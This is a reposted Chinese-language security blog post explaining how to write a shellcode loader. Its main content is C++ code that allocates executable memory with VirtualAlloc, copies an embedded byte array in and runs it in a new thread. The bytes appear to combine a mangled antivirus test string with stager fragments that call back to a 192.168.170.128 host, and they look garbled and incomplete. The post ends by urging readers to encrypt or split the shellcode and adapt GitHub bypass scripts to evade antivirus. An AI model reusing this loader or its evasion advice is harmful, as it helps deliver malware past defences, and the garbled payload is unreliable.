投稿 | 初始Shellcode之Shellcode执行工具编写思路
2021-04-19 10:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:112 收藏

文章来源|MS08067 公众号读者投稿

本文作者:Arks7(Ms08067实验室读者)

这是一段C++ 加载器的代码,代码来之倾旋大佬的博客,先看大佬给的注释。

#include

// 入口函数

int wmain(int argc,TCHAR * argv[]){

    int shellcode_size = 0; // shellcode长度

    DWORD dwThreadId; // 线程ID

    HANDLE hThread; // 线程句柄

/* length: 800 bytes */

unsigned char buf[] = "\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x30\x2e\x31\x32\x38\x00\x00\x00\x00\x00";

// 获取shellcode大小

shellcode_size = sizeof(buf);

/*

VirtualAlloc(

    NULL, // 基址

    800,  // 大小

    MEM_COMMIT, // 内存页状态

    PAGE_EXECUTE_READWRITE // 可读可写可执行

    );

*/

char * shellcode = (char *)VirtualAlloc(

    NULL,

    shellcode_size,

    MEM_COMMIT,

    PAGE_EXECUTE_READWRITE

    );

    // 将shellcode复制到可执行的内存页中

CopyMemory(shellcode,buf,shellcode_size);

hThread = CreateThread(

    NULL, // 安全描述符

    NULL, // 栈的大小

    (LPTHREAD_START_ROUTINE)shellcode, // 函数

    NULL, // 参数

    NULL, // 线程标志

    &dwThreadId // 线程ID

    );

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束

    return 0;

}

从大佬的注释就可以很明确的看出来使用VirtualAlloc函数申请内存,然后使用CopyMemory将shellcode复制到目标内存中,CreateThread创建一个新的线程。

VirtualAlloc百度的解释:

VirtualAlloc是一个WindowsAPI函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。简单点的意思就是申请内存空间。

这里我来用易语言复现一下这个过程,易语言比较时候刚接触的人理解吧。

这里Shellcode 需要转换为字节集才可以在易语言上面运行

OK,成功运行,也就说明我们的思路是没有问题的。

加载器的思路没有问题,那么我们就可以对shellcode 进行加密免杀或者分离免杀。

明确了思路,那么Github 搜索 各位师傅们的吊炸天的Bypass 脚本,自己拿来修改一下,那么就是又一个屌炸天的Bypass。

文章可能简单,但主要是讲解思路....

目前40000+人已关注加入我们

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247493180&idx=1&sn=7743162fa2bb5b83cfb3b3a6261775f3&chksm=fc3c5f3dcb4bd62bd99432fa01cff2b92dc0b939a8e7ebc9eadf5a70088a5c704bb5abdbdb83#rd
如有侵权请联系:admin#unsafe.sh